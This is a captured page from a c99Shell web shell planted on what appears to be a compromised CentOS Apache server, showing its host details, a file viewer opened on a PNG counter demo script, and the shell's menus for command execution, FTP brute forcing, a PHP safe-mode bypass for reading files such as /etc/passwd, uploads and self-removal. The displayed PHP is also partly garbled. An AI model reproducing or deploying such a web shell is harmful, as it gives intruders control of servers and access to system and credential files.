!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/State/counter/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     demo.php (2.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
header
("Expires: Mon, 26 Jul 2010 05:00:00 GMT");
header("Last-Modified: " gmdate("D, d M Y H:i:s") . "GMT");
header("Cache-Control: no-cache, must-revalidate");
header("Pragma: no-cache");
$digit = (!isset($HTTP_GET_VARS['digit'])) ? "scoreboard" $HTTP_GET_VARS['digit'];
?>
<html>
<head>
<title>PNG Counter</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table width="98%" border="0" cellspacing="0" cellpadding="2" align="center">
  <tr> 
    <td align="center" height="70"><b><font face="Verdana, Arial, Helvetica, sans-serif" size="3"><u>PNG 
      Counter 1.0</u></font></b></td>
  </tr>
  <tr> 
    <td align="center" height="100"><img src="counter.php?page=demo&digit=<?php echo $digit?>" alt="Counter" border="0"></td>
  </tr>
  <tr> 
    <td align="center"><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#003366">&lt;img 
      src=&quot;counter.php?page=demo&amp;digit=<?php echo $digit?>&quot;&gt; </font></td>
  </tr>
  <tr> 
    <td valign="top" height="40"><font face="Verdana, Arial, Helvetica, sans-serif" size="2">Digits:</font></td>
  </tr>
  <tr> 
    <td valign="top"> <font face="Verdana, Arial, Helvetica, sans-serif" size="2"> 
      <?php
chdir
("./digits");
$hnd opendir(".");
while (
$file readdir($hnd)) {
    if(
is_dir($file)) {
        if (
$file != "." && $file != "..") { 
            
$digit_list[] = $file;
        }
    }
}
closedir($hnd);
if (
$digit_list) {
    
sort($digit_list);
    
$SELF basename($HTTP_SERVER_VARS['PHP_SELF']);
    for(
$i=0;$i<sizeof($digit_list);$i++) {
        echo 
"<a href=\"$SELF?digit=$digit_list[$i]\">$digit_list[$i]</a> |\n";
    }
}   
?>
      </font> </td>
  </tr>
  <tr>
    <td align="center" height="60"><font face="Verdana, Arial, Helvetica, sans-serif" size="2"><a href="javascript:location.reload()">Reload</a></font></td>
  </tr>
  <tr>
    <td height="60"><font face="Verdana, Arial, Helvetica, sans-serif" size="1">Digits 
      were taken from www.digitmania.com<br>
      PNG converted with Imagemagick -&gt; ftp.imagemagick.org</font></td>
  </tr>
</table>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0118 ]--